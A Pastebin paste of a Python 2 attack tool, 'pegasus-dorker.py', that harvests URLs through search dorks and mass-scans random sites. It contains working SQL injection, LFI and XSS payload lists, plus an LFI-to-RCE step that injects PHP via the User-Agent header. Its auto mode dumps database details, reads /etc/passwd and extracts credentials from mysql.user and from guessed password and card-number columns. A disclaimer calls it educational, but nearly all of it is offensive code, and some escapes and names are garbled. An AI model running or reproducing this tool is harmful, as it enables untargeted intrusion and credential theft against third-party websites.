API tools faq
paste
Advertisement
Pegasus-CSD

Pegasus-dorker.py

Pegasus-CSD
Jan 10th, 2017
2,331
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.06 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/python
  2. # This was written for educational purpose and pentest only. Use it at your own risk.
  3. # Author will be not responsible for any damage!
  4. # Toolname : pegasus-dorker.py
  5. # Coder : Muhammad Sobri Maulana - Pegasus
  6. # Version : 1.0
  7. # Cybersecuritydown.or.id
  8. #
  9.  
  10. import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
  11. from random import choice
  12.  
  13. # Colours
  14. W = "33[0m";
  15. R = "33[31m";
  16. G = "33[32m";
  17. O = "33[33m";
  18. B = "33[34m";
  19.  
  20. # Banner
  21. def logo():
  22. print R+"n|---------------------------------------------------------------|"
  23. print "| Pegasus0hacker@gmail.com |"
  24. print "| pegasus-dorker.py v.1.0 |"
  25. print "| Cybersecuritydown.or.id |"
  26. print "| |"
  27. print "|---------------------------------------------------------------|n"
  28. print W
  29.  
  30. if sys.platform == 'linux' or sys.platform == 'linux2':
  31. subprocess.call("clear", shell=True)
  32. logo()
  33.  
  34. else:
  35. subprocess.call("cls", shell=True)
  36. logo()
  37.  
  38. log = "darkd0rk3r-sqli.txt"
  39. logfile = open(log, "a")
  40. lfi_log = "darkd0rk3r-lfi.txt"
  41. lfi_log_file = open(lfi_log, "a")
  42. rce_log = "darkd0rk3r-rce.txt"
  43. rce_log_file = open(rce_log, "a")
  44. xss_log = "darkd0rk3r-xss.txt"
  45. xss_log_file = open(xss_log, "a")
  46.  
  47. threads = []
  48. finallist = []
  49. vuln = []
  50. col = []
  51. darkurl = []
  52. arg_end = "--"
  53. arg_eva = "+"
  54. colMax = 10 # Change this at your will
  55. gets = 0
  56. file = "/etc/passwd"
  57. timeout = 60
  58. socket.setdefaulttimeout(timeout)
  59.  
  60. lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
  61.  
  62. xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"]
  63.  
  64. tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']
  65.  
  66. columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
  67.  
  68. sqlerrors = {'MySQL': 'error in your SQL syntax',
  69. 'MiscError': 'mysql_fetch',
  70. 'MiscError2': 'num_rows',
  71. 'Oracle': 'ORA-01756',
  72. 'JDBC_CFM': 'Error Executing Database Query',
  73. 'JDBC_CFM2': 'SQLServer JDBC Driver',
  74. 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
  75. 'MSSQL_Uqm': 'Unclosed quotation mark',
  76. 'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
  77. 'MS-Access_JETdb': 'Microsoft JET Database',
  78. 'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
  79. 'Server Error' : 'Server Error',
  80. 'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
  81. 'Invalid Querystring' : 'Invalid Querystring',
  82. 'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
  83. 'VBScript Runtime' : 'VBScript Runtime',
  84. 'ADODB.Field' : 'ADODB.Field',
  85. 'BOF or EOF' : 'BOF or EOF',
  86. 'ADODB.Command' : 'ADODB.Command',
  87. 'JET Database' : 'JET Database',
  88. 'mysql_fetch_array()' : 'mysql_fetch_array()',
  89. 'Syntax error' : 'Syntax error',
  90. 'mysql_numrows()' : 'mysql_numrows()',
  91. 'GetArray()' : 'GetArray()',
  92. 'FetchRow()' : 'FetchRow()',
  93. 'Input string was not in a correct format' : 'Input string was not in a correct format'}
  94.  
  95. header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  96. 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  97. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  98. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  99. 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  100. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  101. 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  102. 'Opera/8.00 (Windows NT 5.1; U; en)',
  103. 'amaya/9.51 libwww/5.4.0',
  104. 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  105. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  106. 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  107. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  108. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  109. 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
  110.  
  111. domains = {'All domains':['ac', 'ad', 'ae', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
  112. 'aq', 'ar', 'as', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb',
  113. 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', 'bo',
  114. 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd',
  115. 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr',
  116. 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do',
  117. 'dz', 'ec', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi',
  118. 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf',
  119. 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'gs',
  120. 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu',
  121. 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it',
  122. 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn',
  123. 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk',
  124. 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me',
  125. 'mg', 'mh', 'mk', 'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr',
  126. 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'nc',
  127. 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz',
  128. 'om', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn',
  129. 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru',
  130. 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj',
  131. 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy',
  132. 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm',
  133. 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug',
  134. 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi',
  135. 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw', 'com',
  136. 'net', 'org','biz', 'gov', 'mil', 'edu', 'info', 'int', 'tel',
  137. 'name', 'aero', 'asia', 'cat', 'coop', 'jobs', 'mobi', 'museum',
  138. 'pro', 'travel'],'Balcan':['al', 'bg', 'ro', 'gr', 'rs', 'hr',
  139. 'tr', 'ba', 'mk', 'mv', 'me'],'TLD':['xxx','edu', 'gov', 'mil',
  140. 'biz', 'cat', 'com', 'int','net', 'org', 'pro', 'tel', 'aero', 'asia',
  141. 'coop', 'info', 'jobs', 'mobi', 'name', 'museum', 'travel']}
  142.  
  143. def search(inurl, maxc):
  144. urls = []
  145. for site in sitearray:
  146. page = 0
  147. try:
  148. while page < int(maxc):
  149. jar = cookielib.FileCookieJar("cookies")
  150. query = inurl+"+site:"+site
  151. results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
  152. request_web =urllib2.Request(results_web)
  153. agent = random.choice(header)
  154. request_web.add_header('User-Agent', agent)
  155. opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  156. text = opener_web.open(request_web).read()
  157. stringreg = re.compile('(?<=href=")(.*?)(?=")')
  158. names = stringreg.findall(text)
  159. page += 1
  160. for name in names:
  161. if name not in urls:
  162. if re.search(r'(',name) or re.search("<", name) or re.search("A/", name) or re.search("A(http://)d", name):
  163. pass
  164. elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
  165. pass
  166. else:
  167. urls.append(name)
  168. percent = int((1.0*page/int(maxc))*100)
  169. urls_len = len(urls)
  170. sys.stdout.write("rSite: %s | Collected urls: %s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),repr(percent),repr(page)))
  171. sys.stdout.flush()
  172. except(KeyboardInterrupt):
  173. pass
  174. tmplist = []
  175. print "nn[+] URLS (unsorted): ",len(urls)
  176. for url in urls:
  177. try:
  178. host = url.split("/",3)
  179. domain = host[2]
  180. if domain not in tmplist and "=" in url:
  181. finallist.append(url)
  182. tmplist.append(domain)
  183.  
  184. except:
  185. pass
  186. print "[+] URLS (sorted) : ",len(finallist)
  187. return finallist
  188.  
  189. class injThread(threading.Thread):
  190. def __init__(self,hosts):
  191. self.hosts=hosts
  192. self.fcount = 0
  193. self.check = True
  194. threading.Thread.__init__(self)
  195.  
  196. def run (self):
  197. urls = list(self.hosts)
  198. for url in urls:
  199. try:
  200. if self.check == True:
  201. ClassicINJ(url)
  202. else:
  203. break
  204. except(KeyboardInterrupt,ValueError):
  205. pass
  206. self.fcount+=1
  207.  
  208. def stop(self):
  209. self.check = False
  210.  
  211. class lfiThread(threading.Thread):
  212. def __init__(self,hosts):
  213. self.hosts=hosts
  214. self.fcount = 0
  215. self.check = True
  216. threading.Thread.__init__(self)
  217.  
  218. def run (self):
  219. urls = list(self.hosts)
  220. for url in urls:
  221. try:
  222. if self.check == True:
  223. ClassicLFI(url)
  224. else:
  225. break
  226. except(KeyboardInterrupt,ValueError):
  227. pass
  228. self.fcount+=1
  229.  
  230. def stop(self):
  231. self.check = False
  232.  
  233. class xssThread(threading.Thread):
  234. def __init__(self,hosts):
  235. self.hosts=hosts
  236. self.fcount = 0
  237. self.check = True
  238. threading.Thread.__init__(self)
  239.  
  240. def run (self):
  241. urls = list(self.hosts)
  242. for url in urls:
  243. try:
  244. if self.check == True:
  245. ClassicXSS(url)
  246. else:
  247. break
  248. except(KeyboardInterrupt,ValueError):
  249. pass
  250. self.fcount+=1
  251.  
  252. def stop(self):
  253. self.check = False
  254.  
  255. def ClassicINJ(url):
  256. EXT = "'"
  257. host = url+EXT
  258. try:
  259. source = urllib2.urlopen(host).read()
  260. for type,eMSG in sqlerrors.items():
  261. if re.search(eMSG, source):
  262. print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
  263. logfile.write("n"+host)
  264. vuln.append(host)
  265. col.append(host)
  266. break
  267.  
  268. else:
  269. pass
  270. except:
  271. pass
  272.  
  273. def ClassicLFI(url):
  274. lfiurl = url.rsplit('=', 1)[0]
  275. if lfiurl[-1] != "=":
  276. lfiurl = lfiurl + "="
  277. for lfi in lfis:
  278. try:
  279. check = urllib2.urlopen(lfiurl+lfi.replace("n", "")).read()
  280. if re.findall("root:x", check):
  281. print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
  282. lfi_log_file.write("n"+lfiurl+lfi)
  283. vuln.append(lfiurl+lfi)
  284. target = lfiurl+lfi
  285. target = target.replace("/etc/passwd","/proc/self/environ")
  286. header = "<? echo md5(baltazar); ?>"
  287. try:
  288. request_web = urllib2.Request(target)
  289. request_web.add_header('User-Agent', header)
  290. text = urllib2.urlopen(request_web)
  291. text = text.read()
  292. if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
  293. print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
  294. rce_log_file.write("n",target)
  295. vuln.append(target)
  296. except:
  297. pass
  298.  
  299. except:
  300. pass
  301.  
  302. def ClassicXSS(url):
  303. for xss in xsses:
  304. try:
  305. source = urllib2.urlopen(url+xss.replace("n","")).read()
  306. if re.findall("XSS by baltazar", source):
  307. print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
  308. xss_log_file.write("n"+url+xss)
  309. vuln.append(url+xss)
  310. except:
  311. pass
  312.  
  313. def injtest():
  314. print B+"n[+] Preparing for SQLi scanning ..."
  315. print "[+] Can take a while ..."
  316. print "[!] Working ...n"
  317. i = len(usearch) / int(numthreads)
  318. m = len(usearch) % int(numthreads)
  319. z = 0
  320. if len(threads) <= numthreads:
  321. for x in range(0, int(numthreads)):
  322. sliced = usearch[x*i:(x+1)*i]
  323. if (z<m):
  324. sliced.append(usearch[int(numthreads)*i+z])
  325. z +=1
  326. thread = injThread(sliced)
  327. thread.start()
  328. threads.append(thread)
  329. for thread in threads:
  330. thread.join()
  331.  
  332. def lfitest():
  333. print B+"n[+] Preparing for LFI - RCE scanning ..."
  334. print "[+] Can take a while ..."
  335. print "[!] Working ...n"
  336. i = len(usearch) / int(numthreads)
  337. m = len(usearch) % int(numthreads)
  338. z = 0
  339. if len(threads) <= numthreads:
  340. for x in range(0, int(numthreads)):
  341. sliced = usearch[x*i:(x+1)*i]
  342. if (z<m):
  343. sliced.append(usearch[int(numthreads)*i+z])
  344. z +=1
  345. thread = lfiThread(sliced)
  346. thread.start()
  347. threads.append(thread)
  348. for thread in threads:
  349. thread.join()
  350.  
  351. def xsstest():
  352. print B+"n[+] Preparing for XSS scanning ..."
  353. print "[+] Can take a while ..."
  354. print "[!] Working ...n"
  355. i = len(usearch) / int(numthreads)
  356. m = len(usearch) % int(numthreads)
  357. z = 0
  358. if len(threads) <= numthreads:
  359. for x in range(0, int(numthreads)):
  360. sliced = usearch[x*i:(x+1)*i]
  361. if (z<m):
  362. sliced.append(usearch[int(numthreads)*i+z])
  363. z +=1
  364. thread = xssThread(sliced)
  365. thread.start()
  366. threads.append(thread)
  367. for thread in threads:
  368. thread.join()
  369.  
  370. menu = True
  371. new = 1
  372. while menu == True:
  373. if new == 1:
  374. threads = []
  375. finallist = []
  376. vuln = []
  377. col = []
  378. darkurl = []
  379.  
  380. stecnt = 0
  381. for k,v in domains.items():
  382. stecnt += 1
  383. print str(stecnt)+" - "+k
  384. sitekey = raw_input("nChoose your target : ")
  385. sitearray = domains[domains.keys()[int(sitekey)-1]]
  386.  
  387. inurl = raw_input('nEnter your dork : ')
  388. numthreads = raw_input('Enter no. of threads : ')
  389. maxc = raw_input('Enter no. of pages : ')
  390. print "nNumber of SQL errors :",len(sqlerrors)
  391. print "Number of LFI paths :",len(lfis)
  392. print "Number of XSS cheats :",len(xsses)
  393. print "Number of headers :",len(header)
  394. print "Number of threads :",numthreads
  395. print "Number of pages :",maxc
  396. print "Timeout in seconds :",timeout
  397. print ""
  398.  
  399. usearch = search(inurl,maxc)
  400. new = 0
  401.  
  402. print R+"n[0] Exit"
  403. print "[1] SQLi Testing"
  404. print "[2] SQLi Testing Auto Mode"
  405. print "[3] LFI - RCE Testing"
  406. print "[4] XSS Testing"
  407. print "[5] SQLi and LFI - RCE Testing"
  408. print "[6] SQLi and XSS Testing"
  409. print "[7] LFI - RCE and XSS Testing"
  410. print "[8] SQLi,LFI - RCE and XSS Testing"
  411. print "[9] Save valid urls to file"
  412. print "[10] Print valid urls"
  413. print "[11] Found vuln in last scan"
  414. print "[12] New Scann"
  415.  
  416. chce = raw_input(":")
  417. if chce == '1':
  418. injtest()
  419.  
  420. if chce == '2':
  421. injtest()
  422. print B+"n[+] Preparing for Column Finder ..."
  423. print "[+] Can take a while ..."
  424. print "[!] Working ..."
  425. # Thanks rsauron for schemafuzz
  426. for host in col:
  427. print R+"n[+] Target: ", O+host
  428. print R+"[+] Attempting to find the number of columns ..."
  429. print "[+] Testing: ",
  430. checkfor = []
  431. host = host.rsplit("'", 1)[0]
  432. sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva
  433. makepretty = ""
  434. for x in xrange(0, colMax):
  435. try:
  436. sys.stdout.write("%s," % (x))
  437. sys.stdout.flush()
  438. darkc0de = "dark"+str(x)+"c0de"
  439. checkfor.append(darkc0de)
  440. if x > 0:
  441. sitenew += ","
  442. sitenew += "0x"+darkc0de.encode("hex")
  443. finalurl = sitenew+arg_end
  444. gets += 1
  445. source = urllib2.urlopen(finalurl).read()
  446. for y in checkfor:
  447. colFound = re.findall(y, source)
  448. if len(colFound) >= 1:
  449. print "n[+] Column length is:", len(checkfor)
  450. nullcol = re.findall(("d+"), y)
  451. print "[+] Found null column at column #:", nullcol[0]
  452. for z in xrange(0, len(checkfor)):
  453. if z > 0:
  454. makepretty += ","
  455. makepretty += str(z)
  456. site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty
  457. print "[+] SQLi URL:", site+arg_end
  458. site = site.replace(","+nullcol[0]+",",",darkc0de,")
  459. site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
  460. site = site.replace(","+nullcol[0],",darkc0de")
  461. print "[+] darkc0de URL:", site
  462. darkurl.append(site)
  463. print "[-] Done!n"
  464. break
  465.  
  466. except(KeyboardInterrupt, SystemExit):
  467. raise
  468. except:
  469. pass
  470.  
  471. print "n[!] Sorry column length could not be foundn"
  472.  
  473. #########
  474.  
  475. print B+"n[+] Gathering MySQL Server Configuration..."
  476. for site in darkurl:
  477. head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
  478. print R+"n[+] Target:", O+site
  479. while 1:
  480. try:
  481. gets += 1
  482. source = urllib2.urlopen(head_URL).read()
  483. match = re.findall("x1ex1eS+", source)
  484. if len(match) >= 1:
  485. match = match[0][2:].split("x1e")
  486. version = match[0]
  487. user = match[1]
  488. database = match[2]
  489. print W+"ntDatabase:", database
  490. print "tUser:", user
  491. print "tVersion:", version
  492. version = version[0]
  493.  
  494. load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)")
  495. source = urllib2.urlopen(load).read()
  496. if re.findall("root:x", source):
  497. load = site.replace("darkc0de","concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
  498. source = urllib2.urlopen(load).read()
  499. search = re.findall("baltazar",source)
  500. if len(search) > 0:
  501. print "n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")")
  502.  
  503. load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user"
  504. source = urllib2.urlopen(load).read()
  505. if re.findall("baltazar", source):
  506. print "n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user"
  507.  
  508. print W+"n[+] Number of tables:",len(tables)
  509. print "[+] Number of columns:",len(columns)
  510. print "[+] Checking for tables and columns..."
  511. target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T"
  512. for table in tables:
  513. try:
  514. target_table = target.replace("T", table)
  515. source = urllib2.urlopen(target_table).read()
  516. search = re.findall("baltazar", source)
  517. if len(search) > 0:
  518. print "n[!] w00t!w00t! Found a table called: < "+table+" >"
  519. print "n[+] Lets check for columns inside table < "+table+" >"
  520. for column in columns:
  521. try:
  522. source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
  523. search = re.findall("baltazar", source)
  524. if len(search) > 0:
  525. print "t[!] w00t!w00t! Found a column called: < "+column+" >"
  526. except(KeyboardInterrupt, SystemExit):
  527. raise
  528. except(urllib2.URLErrr, socket.gaierror, socket.error, socket.timeout):
  529. pass
  530.  
  531. print "n[-] Done searching inside table < "+table+" > for columns!"
  532.  
  533. except(KeyboardInterrupt, SystemExit):
  534. raise
  535. except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
  536. pass
  537. print "[!] Fuzzing is finished!"
  538. break
  539. except(KeyboardInterrupt, SystemExit):
  540. raise
  541.  
  542. if chce == '3':
  543. lfitest()
  544.  
  545. if chce == '4':
  546. xsstest()
  547.  
  548. if chce == '5':
  549. injtest()
  550. lfitest()
  551.  
  552. if chce == '6':
  553. injtest()
  554. xsstest()
  555.  
  556. if chce == '7':
  557. lfitest()
  558. xsstest()
  559.  
  560. if chce == '8':
  561. injtest()
  562. lfitest()
  563. xsstest()
  564.  
  565. if chce == '9':
  566. print B+"nSaving valid urls ("+str(len(finallist))+") to file"
  567. listname = raw_input("Filename: ")
  568. list_name = open(listname, "w")
  569. finallist.sort()
  570. for t in finallist:
  571. list_name.write(t+"n")
  572. list_name.close()
  573. print "Urls saved, please check", listname
  574.  
  575. if chce == '10':
  576. print W+"nPrinting valid urls:n"
  577. finallist.sort()
  578. for t in finallist:
  579. print B+t
  580.  
  581. if chce == '11':
  582. print B+"nVuln found ",len(vuln)
  583.  
  584. if chce == '12':
  585. new = 1
  586. print W+""
  587.  
  588. if chce == '0':
  589. print R+"n[-] Exiting ..."
  590. mnu = False
  591. print W
  592. sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
